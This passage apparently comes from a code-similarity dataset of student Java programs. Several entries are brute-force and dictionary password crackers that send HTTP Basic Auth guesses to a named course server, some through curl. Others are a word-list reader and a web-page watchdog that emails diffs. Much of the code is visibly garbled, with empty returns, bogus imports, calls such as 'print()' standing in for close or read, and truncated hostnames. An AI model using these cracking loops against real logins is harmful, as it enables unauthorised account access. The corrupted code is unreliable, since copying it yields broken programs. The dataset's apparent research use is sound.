'i', 'j', 'k', 'l', 'm', 'n', 'o',\405 \ 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E',\406 \ 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',\407 \ 'V', 'W', 'X', 'Y', 'Z'};\n private Vector v;\n\n public Cracker()\n {\n\408 \ v = new Vector( 52);\n }\n public void loadLetters()\n {\n int\409 \ i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new\410 \ StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n\411 \ }\n public Vector getVictor()\n {\n return ;\n }\n public void\412 \ loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length -\413 \ 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n \414 \ {\n String s1 = new StringBuffer().append( letters[i]).append(\415 \ letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append(\416 \ letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n\417 \ for( i = 0; i < letters.length; i++)\n {\n String s3 = new\418 \ StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add(\419 \ s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n\420 \ \n for( i = 0; i < letters.length; i++)\n {\n String\421 \ s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\422 \t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n \423 \ {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5\424 \ = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\425 \t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append(\426 \ letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append(\427 \ letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append(\428 \ letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String\429 \ s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\430 \t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append(\431 \ letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add(\432 \ s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n \433 \ }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j\434 \ = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length;\435 \ k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append(\436 \ letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append(\437 \ letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String\438 \ s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\439 \t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\440 \t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\441 \t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\442 \t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t \443 \ v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n\444 \ }\n }\n \n public static void main( String[] args)\n {\n\445 \ Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n\446 \ cr.loadTriples();\n System.out.println(\" far \"+cr.getVictor().size()+\"\447 \ elements loaded\");\n }\n}\n \n"448 - "\n\nimport java.net.*;\nimport java.io.*;\nimport java.String;\nimport java.*;\n\449 import java.util.*;\n\npublic class BruteForce {\n private static final int passwdLength\450 \ = 3; \n private static String commandLine\n = \"curl http://sec-crack.cs.rmit.edu./SEC/2/index.php\451 \ -I -u :\";\n private String chars = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\452 ;\n private int charLen = chars.length(); \n private int n = 0; \453 \ \n private int n3 = charLen*charLen*charLen; \454 \ \n private String response;\n private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];\n\455 \ private char[][] data = new char[passwdLength][charLen];\n private char[]\456 \ pwdChar2 = new char[2];\n private char[] pwdChar = new char[passwdLength];\n\457 \ private String url;\n private int startTime;\n private int endTime;\n private\458 \ int totalTime;\n private float averageTime;\n private boolean finish;\n private\459 \ Process curl;\n private BufferedReader bf, responseLine;\n\n public BruteForce()\460 \ {\n\n first();\n finish = true;\n charLen = chars.length();\n for(int i=0;\461 \ i<charLen; i++)\n for(int j=0; j<passwdLength; j++)\n {\n data[j][i]\462 \ = chars.charAt(i);\n }\n Runtime run = Runtime.getRuntime();\n n = 0;\n\n\463 \ \n for(int i=0; i<charLen; i++)\n {\n password[n++] = chars.substring(i,i+1);\n\464 \ }\n\n \n for(int j=0; j<charLen; j++)\n for(int k=0; k<charLen; k++)\n\465 \ {\n pwdChar2[0] = data[0][j];\n pwdChar2[1] = data[1][k];\n\466 \ password[n++] = String.copyValueOf(pwdChar2);\n }\n\n \n for(int\467 \ i=0; i<charLen; i++)\n for(int j=0; j<charLen; j++)\n for(int k=0; k<charLen;\468 \ k++)\n {\n pwdChar[0] = data[0][i];\n pwdChar[1] = data[1][j];\n\469 \ pwdChar[2] = data[2][k];\n password[n++] = String.copyValueOf(pwdChar);\n\470 \ }\n n = 0;\n startTime = new Date().getTime(); \n try {\n while(true)\471 \ {\n url = commandLine+password[n++];\n if(n>=n3) {\n System.out.println(\"\472 \\n not find the password for user .\");\n finish = false;\n break;\n\473 \ }\n curl = run.exec(url); \n responseLine = new BufferedReader(new\474 \ InputStreamReader(curl.getInputStream()));\n response = responseLine.readLine();\n\475 \ \n \n if(response.substring(9,12).equals(\"200\")) break;\n responseLine\476 \ = null;\n }\n }\n catch(IOException ioe){\n System.out.println(\"\\n\477 \ IO Exception! \\n\");\n System.out.println(\"The current url is:\"+ url);\n\478 \ System.out.println(\"The current trying password is:\"+password[n-1]);\n\479 \ finish=false;\n }\n\n endTime = new Date().getTime(); \n totalTime\480 \ = (endTime-startTime)/1000;\n System.out.println(\" The response time is:\"\481 + totalTime + \" seconds\\n\");\n if(finish) {\n System.out.println(\" \482 \ The password for is:\"+ password[n-1]);\n try {\n savePassword(password[n-1],\483 \ totalTime);\n }\n catch (IOException ioec) {\n System.out.println(\"\484 \ not save the password file BruteForce_pwd.txt \");\n }\n }\n }\n\n public\485 \ void first() {\n\n System.out.println(\"\\n\\n---------------------------------------------------------------\"\486 );\n System.out.println(\" Use curl command Brute Force the password for\487 \ user .\");\n System.out.println(\" Attention: curl should able run at\488 \ your directory\");\n System.out.println(\" without setting the Path\489 \ for it.\");\n System.out.println(\"---------------------------------------------------------------\"\490 );\n }\n\n\n public void savePassword(String passwdString, int time) throws\491 \ IOException {\n DataOutputStream outputStream = new DataOutputStream(new FileOutputStream(\"\492 BruteForce_pwd.txt\"));\n outputStream.writeChars(\"The password is:\");\n outputStream.writeChars(passwdString+\"\493 \\n\");\n outputStream.writeChars(\"The response time is: \");\n outputStream.writeChars(time1.toString(time));\n\494 \ outputStream.writeChars(\" seconds\\n\");\n outputStream.close();\n }\n\n\495 \ public static void main(String[] args) {\n new BruteForce();\n } \n}\n"496- source_sentence: "import java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic\497 \ class BruteForce\n{\n public static void main(String[] args) throws Exception\n\498 \ {\n \n String password = checkPassword(); \n\n System.out.println(\"\499 Congratulations Your password is \"+ password );\n \n \n\n URL\500 \ url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection\501 \ sec = (HttpURLConnection)url.openConnection();\n sec.setRequestProperty(\"\502 Authorization\", \" \" + encode(\":\"+password));\n BufferedReader in = new\503 \ BufferedReader(new InputStreamReader(sec.getInputStream()));\n String inputLine;\n\504 \n while ((inputLine = in.readLine()) != null)\n System.out.println(inputLine);\n\505 \ in.close();\n }\n\n \n\n private static String checkPassword() throws\506 \ Exception\n {\n String Password=\" \";\n int attempt=0;\n URL\507 \ url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection\508 \ sec;\n String[] cad = {\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\"\509 ,\"i\",\"j\",\"k\",\"l\",\"m\",\n \"n\",\"o\",\"p\",\"q\"\510 ,\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\",\n \511 \ \"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\512 M\",\n \"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"\513 V\",\"W\",\"X\",\"Y\",\"Z\"};\n\n for (int i=0; i < cad.length; i++)\n \514 \ {\n for (int j=0; j< cad.length;j++)\n {\n for\515 \ (int k=0; k<cad.length;k++)\n {\n attempt++;\n \516 \ String Passwd = new String(cad[i]+cad[j]+cad[k]);\n \517 \ String userPasswd= \":\"+Passwd;\n System.out.println(attempt+\"\518 \ \"+userPasswd);\n \n sec = (HttpURLConnection)url.openConnection();\n\519 \ sec.setRequestProperty(\"Authorization\", \" \" + encode(userPasswd));\n\520 \n if (sec.getHeaderField(0).equals(\"HTTP/1.1 200 OK\"))\n \521 \ {\n Password=Passwd;\n return Password;\n\522 \ }\n sec.disconnect();\n } \n \523 \ } \n } \n return \"Password not found\";\n }\n\n private static\524 \ String encode(String userPasswd) throws Exception\n {\n String ad;\n\525 \ String encodedUserPasswd=\" \";\n String addr= \"~//base64_encode.php\526 \ \"+userPasswd ;\n Process p = Runtime.getRuntime().exec(new String[]{\"\527 /usr/local//bash\",\"-c\", addr});\n BufferedReader resp = new BufferedReader(new\528 \ InputStreamReader(p.getInputStream()));\n \n while ( (cad = resp.readLine())\529 \ != null )\n {\n \n encodedUserPasswd=cad;\n }\n \530 \ return encodedUserPasswd;\n }\n}\n\n"531 sentences:532 - "import java.io.*;\n\npublic class ReadDictionary {\n\tprivate BufferedReader\533 \ bf;\n\tprivate String line=\"\";\n\n public static void main (String argv[])\534 \ throws Exception { \n ReadDictionary rd=new ReadDictionary();\n\t rd.openFile();\n\535 \t for (int inx=0; inx<800 ;inx++ )\n\t {\n\t \tSystem.out.println(inx + \"\536 \ \" + rd.readLine() );\n\t }\n } \n\t \n \n\n\tpublic void openFile()\n\537 \t{\n\t\ttry\n\t\t{\n\t\t\tsetBr(new BufferedReader(new FileReader(\"/usr/share/lib/dict/words\"\538 )));\n\n\t\t}catch(IOException e)\n\t\t{\n\t\t\tSystem.out.println(e.getMessage());\n\539 \t\t}\n\t}\n\n\tpublic String readLine()\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\t\540 {\n\t\t\t\tline = bf.readLine();\n\t\t\t}while (line != null && line.length()\541 \ >3);\t\t\t\n\t\t}catch (IOException e)\n\t\t{\n\t\t\tSystem.out.println(e.getMessage());\n\542 \t\t}\n\t\treturn(line);\n\t\t\n\t}\t\n\n\t\n\tpublic BufferedReader getBr()\n\543 \t{\n\t\treturn this.line;\n\t}\n\n\tpublic void setBr(BufferedReader bf)\n\t\544 {\n\t\tthis.bf = bf;\n\t}\n}\n"545 - "\n\nimport java.net.*;\nimport java.io.*;\nimport java.io.BufferedReader;\nimport\546 \ java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.IOException;\n\547 import java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport\548 \ java.util.*;\nimport java.*;\n\n\npublic class Dictionary {\n public static\549 \ void main(String[] args) throws Exception {\n String pass;\n int\550 \ attempt = 0;\n String fileName = \"words.txt\", line;\n BufferedReader\551 \ reader;\n Dictionary dict = new Dictionary();\n boolean flag=false;\n\552 \n System.out.println(System.currentTimeMillis()/1000);\n\n try{\n\553 \ reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));\n\554 \ while (!flag)\n {\n try{\n line = reader.readLine();\n\555 \ attempt++;\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\556 );\n URLConnection yc = url.openConnection();\n pass\557 \ = \":\" + line;\n String password = new url.misc.BASE64Encoder().encode(pass.getBytes());\n\558 \ yc.setRequestProperty(\"Authorization\",\" \"+password);\n \559 \ BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));\n\560 \ String inputLine;\n while ((inputLine = in.readLine())\561 \ != null)\n System.out.println(inputLine);\n \562 \ in.close();\n System.out.println(pass);\n flag=true;\n\563 \ System.out.println(System.currentTimeMillis()/1000); \n \564 \ System.out.println(\" of attempt: \"+attempt);\n System.exit(0);\n\565 \ }catch(IOException e){\n \n }\n \566 \ } \n }catch(FileNotFoundException e){\n System.out.println(\"\567 File not found\");\n\n }\n }\n}"568 - "import java.io.*;\nimport java.util.Date;\n\n\n\n\n\nimport java.jscape.inet.http.*;\569 \ \n\n\n\n\n\n\n\nclass BruteForce\n{\n public static void main (String args[])\570 \ throws Exception\n {\n String username = \"\";\n byte asciiLower[]\571 \ = {97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122};\n\572 \ byte asciiUpper[] = {65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90};\573 \ \n \n int errorMessage = 401;\n int firstPosition = 0;\n int\574 \ secondPosition = 0;\n int thirdPosition = 0; \n int number = 1;\n\575 \ int attempts = 0;\n \n Http http = new Http();\n HttpRequest\576 \ request = new HttpRequest (\"http://sec-crack.cs.rmit.edu./SEC/2/\" );\n \577 \ Date startDate = new Date(); \n \n \n \n for(firstPosition\578 \ = 0; firstPosition < 26; firstPosition++)\n {\n String one = new\579 \ String (asciiLower, firstPosition, number);\n String password = one;\n\580 \ request.setBasicAuthentication(username,password);\n HttpResponse\581 \ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\582 \ System.out.println(errorMessage);\n System.out.println(password);\n\583 \ attempts++;\n if (errorMessage == 200)\n break;\n\584 \ }\n\n \n\n if (errorMessage == 401)\n {\n for(firstPosition\585 \ = 0; firstPosition < 26; firstPosition++)\n {\n String one\586 \ = new String (asciiUpper, firstPosition, number);\n String password\587 \ = one;\n request.setBasicAuthentication(username,password);\n \588 \ HttpResponse response = http.getResponse(request);\n errorMessage\589 \ = response.getResponseCode();\n System.out.println(errorMessage);\n\590 \ System.out.println(password);\n attempts++;\n \591 \ if (errorMessage == 200)\n break;\n }\n }\n\n\592 \ \n\n if (errorMessage == 401)\n {\n for (firstPosition\593 \ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\594 \ = 0; secondPosition < 26; secondPosition++)\n {\n String\595 \ one = new String(asciiLower, firstPosition,number);\n String two\596 \ = new String (asciiLower, secondPosition, number);\n String password\597 \ = one + two;\n request.setBasicAuthentication(username,password);\n\598 \ HttpResponse response = http.getResponse(request);\n \599 \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\600 \ System.out.println(password);\n attempts++;\n \601 \ if (errorMessage == 200)\n break;\n \602 \ }\n if (errorMessage == 200)\n break;\n }\n\603 \ } \n\n \n\n if (errorMessage == 401)\n { \n for\604 \ (firstPosition = 0; firstPosition < 26; firstPosition ++)\n { \n \605 \ for(secondPosition = 0; secondPosition < 26; secondPosition++)\n \606 \ {\n String one = new String(asciiUpper, firstPosition,number);\n\607 \ String two = new String (asciiUpper, secondPosition, number);\n\608 \ String password = one + two;\n request.setBasicAuthentication(username,password);\n\609 \ HttpResponse response = http.getResponse(request);\n \610 \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\611 \ System.out.println(password);\n attempts++;\n \612 \ if (errorMessage == 200)\n break;\n \613 \ }\n if (errorMessage == 200)\n break;\n }\n\614 \ }\n\n \n\n if(errorMessage == 401)\n {\n for (firstPosition\615 \ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\616 \ = 0; secondPosition < 26; secondPosition++)\n {\n String\617 \ one = new String(asciiUpper, firstPosition,number);\n String two\618 \ = new String (asciiLower, secondPosition, number);\n String password\619 \ = one + two;\n request.setBasicAuthentication(username,password);\n\620 \ HttpResponse response = http.getResponse(request);\n \621 \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\622 \ System.out.println(password);\n attempts++;\n \623 \ if (errorMessage == 200)\n break;\n \624 \ }\n if (errorMessage == 200)\n break;\n }\n\625 \ }\n\n \n\n if (errorMessage == 401)\n {\n for (firstPosition\626 \ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\627 \ = 0; secondPosition < 26; secondPosition++)\n {\n for(thirdPosition\628 \ = 0; thirdPosition <26; thirdPosition++)\n { \n \629 \ String one = new String(asciiLower, firstPosition,number);\n \630 \ String two = new String (asciiLower, secondPosition, number);\n \631 \ String three = new String (asciiLower, thirdPosition, number); \n\632 \ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\633 \ HttpResponse response = http.getResponse(request);\n \634 \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\635 \ System.out.println(password);\n attempts++;\n\636 \ if (errorMessage == 200)\n break;\n \637 \ }\n if (errorMessage == 200)\n break;\n\638 \ }\n if (errorMessage == 200)\n break;\n\639 \ } \n }\n\n \n\n if (errorMessage == 401)\n \640 \ {\n for (firstPosition = 0; firstPosition < 26; firstPosition ++)\n\641 \ { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\642 \ {\n for(thirdPosition = 0; thirdPosition <26; thirdPosition++)\n\643 \ { \n String one = new String(asciiUpper, firstPosition,number);\n\644 \ String two = new String (asciiUpper, secondPosition, number);\n\645 \ String three = new String (asciiUpper, thirdPosition, number);\646 \ \n String password = one + two + three;\n \647 \ request.setBasicAuthentication(username,password);\n HttpResponse\648 \ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\649 \ System.out.println(errorMessage);\n System.out.println(password);\n\650 \ attempts++;\n if (errorMessage == 200)\n \651 \ break;\n }\n if (errorMessage\652 \ == 200)\n break;\n }\n if (errorMessage\653 \ == 200)\n break;\n } \n }\n\n\n \n\n \654 \ if (errorMessage == 401)\n {\n for (firstPosition = 0; firstPosition\655 \ < 26; firstPosition ++)\n { \n for(secondPosition = 0; secondPosition\656 \ < 26; secondPosition++)\n {\n for(thirdPosition = 0;\657 \ thirdPosition <26; thirdPosition++)\n { \n String\658 \ one = new String(asciiUpper, firstPosition,number);\n String\659 \ two = new String (asciiLower, secondPosition, number);\n String\660 \ three = new String (asciiLower, thirdPosition, number); \n \661 \ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\662 \ HttpResponse response = http.getResponse(request);\n \663 \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\664 \ System.out.println(password);\n attempts++;\n\665 \ if (errorMessage == 200)\n break;\n \666 \ }\n if (errorMessage == 200)\n break;\n\667 \ }\n if (errorMessage == 200)\n break;\n\668 \ } \n }\n\n \n\n if (errorMessage == 401)\n \669 \ {\n for (firstPosition = 0; firstPosition < 26; firstPosition ++)\n\670 \ { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\671 \ {\n String one = new String(asciiLower, firstPosition,number);\n\672 \ String two = new String (asciiUpper, secondPosition, number);\n\673 \ String password = one + two;\n request.setBasicAuthentication(username,password);\n\674 \ HttpResponse response = http.getResponse(request);\n \675 \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\676 \ System.out.println(password);\n attempts++;\n \677 \ if (errorMessage == 200)\n break;\n \678 \ }\n if (errorMessage == 200)\n break;\n }\n\679 \ }\n\n \n\n if (errorMessage == 401)\n {\n for (firstPosition\680 \ = 0; firstPosition < 26; firstPosition ++)\n { \n for(secondPosition\681 \ = 0; secondPosition < 26; secondPosition++)\n {\n for(thirdPosition\682 \ = 0; thirdPosition <26; thirdPosition++)\n { \n \683 \ String one = new String(asciiLower, firstPosition,number);\n \684 \ String two = new String (asciiLower, secondPosition, number);\n \685 \ String three = new String (asciiUpper, thirdPosition, number); \n\686 \ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\687 \ HttpResponse response = http.getResponse(request);\n \688 \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\689 \ System.out.println(password);\n attempts++;\n\690 \ if (errorMessage == 200)\n break;\n \691 \ } \n if (errorMessage == 200)\n \692 \ break; \n }\n if (errorMessage == 200)\n \693 \ break;\n }\n }\n\n \n\n if (errorMessage ==\694 \ 401)\n {\n for (firstPosition = 0; firstPosition < 26; firstPosition\695 \ ++)\n { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\696 \ {\n for(thirdPosition = 0; thirdPosition <26; thirdPosition++)\n\697 \ { \n String one = new String(asciiLower, firstPosition,number);\n\698 \ String two = new String (asciiUpper, secondPosition, number);\n\699 \ String three = new String (asciiUpper, thirdPosition, number);\700 \ \n String password = one + two + three;\n \701 \ request.setBasicAuthentication(username,password);\n HttpResponse\702 \ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\703 \ System.out.println(errorMessage);\n System.out.println(password);\n\704 \ attempts++;\n if (errorMessage == 200)\n \705 \ break;\n } \n if (errorMessage\706 \ == 200)\n break; \n }\n if (errorMessage\707 \ == 200)\n break;\n }\n }\n\n \n\n \708 \ if (errorMessage == 401)\n {\n for (firstPosition = 0; firstPosition\709 \ < 26; firstPosition ++)\n { \n for(secondPosition = 0; secondPosition\710 \ < 26; secondPosition++)\n {\n for(thirdPosition = 0;\711 \ thirdPosition <26; thirdPosition++)\n { \n String\712 \ one = new String(asciiLower, firstPosition,number);\n String\713 \ two = new String (asciiUpper, secondPosition, number);\n String\714 \ three = new String (asciiLower, thirdPosition, number); \n \715 \ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\716 \ HttpResponse response = http.getResponse(request);\n \717 \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\718 \ System.out.println(password);\n attempts++;\n\719 \ if (errorMessage == 200)\n break;\n \720 \ }\n if (errorMessage == 200)\n break;\n\721 \ }\n if (errorMessage == 200)\n break;\n\722 \ }\n }\n\n \n \n if (errorMessage == 401)\n \723 \ {\n for (firstPosition = 0; firstPosition < 26; firstPosition ++)\n\724 \ { \n for(secondPosition = 0; secondPosition < 26; secondPosition++)\n\725 \ {\n for(thirdPosition = 0; thirdPosition <26; thirdPosition++)\n\726 \ { \n String one = new String(asciiUpper, firstPosition,number);\n\727 \ String two = new String (asciiUpper, secondPosition, number);\n\728 \ String three = new String (asciiLower, thirdPosition, number);\729 \ \n String password = one + two + three;\n \730 \ request.setBasicAuthentication(username,password);\n HttpResponse\731 \ response = http.getResponse(request);\n errorMessage = response.getResponseCode();\n\732 \ System.out.println(errorMessage);\n System.out.println(password);\n\733 \ attempts++;\n if (errorMessage == 200)\n \734 \ break;\n }\n if (errorMessage\735 \ == 200)\n break;\n }\n if (errorMessage\736 \ == 200)\n break;\n }\n }\n\n \n\n if\737 \ (errorMessage == 401)\n {\n for (firstPosition = 0; firstPosition\738 \ < 26; firstPosition ++)\n { \n for(secondPosition = 0; secondPosition\739 \ < 26; secondPosition++)\n {\n for(thirdPosition = 0;\740 \ thirdPosition <26; thirdPosition++)\n { \n String\741 \ one = new String(asciiUpper, firstPosition,number);\n String\742 \ two = new String (asciiLower, secondPosition, number);\n String\743 \ three = new String (asciiUpper, thirdPosition, number); \n \744 \ String password = one + two + three;\n request.setBasicAuthentication(username,password);\n\745 \ HttpResponse response = http.getResponse(request);\n \746 \ errorMessage = response.getResponseCode();\n System.out.println(errorMessage);\n\747 \ System.out.println(password);\n attempts++;\n\748 \ if (errorMessage == 200)\n break;\n \749 \ }\n if (errorMessage == 200)\n break;\n\750 \ }\n if (errorMessage == 200)\n break;\n\751 \ }\n }\n \n \n Date endDate = new Date();\n\752 \ System.out.println(\"Password crack finished: \" + endDate);\n System.out.println(\"\753 Password crack started: \" + startDate);\n System.out.println(\" of attempts:\754 \ \" + attempts);\n }\n}\n\n \n \n\n\n\n\n\n\n\n\n \n\n \755 \ \n\n \n\n\n\n\n\n \n \n \n "756- source_sentence: "\n\nimport java.io.*;\nimport java.net.*;\nimport java.util.Properties;\n\757 import java.security.*;\n\npublic class WatchDog\n{\n private String file,tempfile1,tempfile2,tempfile3;\n\758 \tprivate final String host=\"yallara.cs.rmit.edu.\";\n private final String\759 \ email=\"@cs.rmit.edu.\";\n private final String from=\"watchdog@cs.rmit.edu.\"\760 ;\n private final String subject=\"SUBJECT:Mail from Watchdog about the changes\761 \ the web-.\";\n private String baseURL=\"\";\n\tprivate String msg;\n\tprivate\762 \ boolean firstTime=false;\n public WatchDog(boolean flag)\n\t{\n\t\tfirstTime=flag;\n\763 \t}\n\n public void startWatching(String[] urls,String fl)\n {\n\t\tfile=fl;\n\764 \t\ttempfile1=fl+\"/temp1.log\";\n\t\ttempfile2=fl+\"/temp2.log\";\n\t\ttempfile3=fl+\"\765 /temp3.log\";\n\t\tSystem.out.println(tempfile3);\n\n\t\tmsg=\"\";\n\t\tfor(;;)\n\766 \t\t{\n\t\t\ttry\n\t\t\t{\n\n\t\t\t\tfor(int o=0;o<urls.length;o++)\n\t\t\t\t\767 {\n\t\t\t\t\tfile=fl+\"/ass2_\"+o+\".log\";\n\t\t\t\t\tURL u=new URL(urls[o]);\n\768 \t\t\t\t\tString f=u.getFile();\n\t\t\t\t\tString url=urls[o];\n\t\t\t\t\tif(f.lastIndexOf('.')<f.lastIndexOf('/'))\n\769 \t\t\t\t\t{\n\t\t\t\t\t\turl=f.substring(0,f.lastIndexOf('/'));\n\t\t\t\t\t\t\770 url=u.getProtocol()+\"://\"+u.getHost()+url;\n\t\t\t\t\t}\n\t\t\t\t\tSystem.out.println(url);\n\771 \t\t\t\t\twatch(url);\n\t\t\t\t\tmsg=msg+\"\\n\\n\";\n\t\t\t\t}\n\t\t\t\tif(firstTime==false)\n\772 \t\t\t\t{\n\t\t\t boolean flag=mail(msg);\n\t\t\t if(flag)\n\t\t\t\t\t\773 System.out.println(\"mail sent\");\n\t\t\t\t else\n\t\t\t\t\tSystem.out.println(\"\774 mail not sent\");\n \t\t\t\t Thread.sleep(1000*60*60*24);\n\t\t\t\t}\n\t\t\t\t\775 else\n\t\t\t\t\tSystem.exit(0);\n\t\t\t}\n\t\t\tcatch(Exception e)\n\t\t\t{\n\t\776 \t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\t\t\t\n }\n\n\tprivate void watch(String\777 \ url) throws IOException\n\t{\n\t\t baseURL=url;\n\t\t msg=msg+\"Going\778 \ check the URL \"+url+\".\\n\";\n\t \n\t\t String pageText=getResource(url);\n\779 \n\t\t\t String [] images=getImages(pageText);\n\n\t\t\t if(firstTime==false)\n\780 \t msg= msg + checkChange(pageText,images);\t \n\n\t\t msg=msg+\"\781 . Checked at \"+new java.util.Date(System.currentTimeMillis())+\".\";\n\n\t\t\782 \ log(pageText,images);\n\n\t\t\tif(firstTime)\n\t\t\t\tSystem.out.println(\"\783 Re-run the watchDog (without the First flag).\");\n\t}\n\tprivate String checkChange(String\784 \ pageText,String [] images) throws IOException\n\t{\n\t\t\n\t\tPrintWriter out=new\785 \ PrintWriter(new FileOutputStream(tempfile1));\n\t\tout.println(pageText);\n\t\786 \tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\787 \t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tBufferedReader in1=new\788 \ BufferedReader(new FileReader(file));\n\t\tBufferedReader in2=new BufferedReader(new\789 \ FileReader(tempfile1));\t\n\t\tString msg=\"\\n\";\n \tString temp1=\"\790 \",temp2=\"\",oldText=\"\",newText=\"\";\n\n\t\t\n\t\tBufferedReader in0=new BufferedReader(new\791 \ FileReader(tempfile1));\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\792 +\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in0.readLine();\n\t\t\ttemp1=temp1+\"\\\793 n\";\n\t\t\tnewText=newText+temp1;\n\t\t}\n\t\tin0.print();\n\t\tin0=null;\n\t\794 \t\n\t\tout=new PrintWriter(new FileOutputStream(tempfile1));\n\t\tout.println(newText);\n\795 \t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\796 );\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\t\tnewText=\"\";\n\t\t\797 temp1=\" \";\n\n\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\798 +\"\\n\")==false)\n\t\t{\n\t\t\ttemp1=in1.readLine();\n\t\t\ttemp1=temp1+\"\\\799 n\";\n\t\t\ttemp2=in2.readLine();\n\t\t\ttemp2=temp2+\"\\n\";\n\t\t\toldText=oldText+temp1;\n\800 \t\t\tnewText=newText+temp2;\n\t\t}\t\t\n\n\t\tin2.print();\n\t\tin2=null;\n\n\801 \t\tout=new PrintWriter(new FileOutputStream(tempfile2));\n\t\tout.println(oldText);\n\802 \t\tout.flush();\n\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\803 );\n\t\tout.flush();\n\t\tout.print();\n\t\tout=null;\n\n\t\tmsg=msg+DiffPrint.getDiff(tempfile1,tempfile2,tempfile3);\n\804 \t\tString data=\"\";\n\t\ttry{\n\t\t\tFileReader fin=new FileReader(tempfile3);\n\805 \t\t\tint ch=fin.print();\n\t\t\twhile(ch!= -1)\n\t\t\t{\n\t\t\t data=data+\"\806 \"+(char)ch;\n\t\t\t\t ch=fin.print();\n\t\t\t}\n\t\t}\n\t\tcatch(FileNotFoundException\807 \ 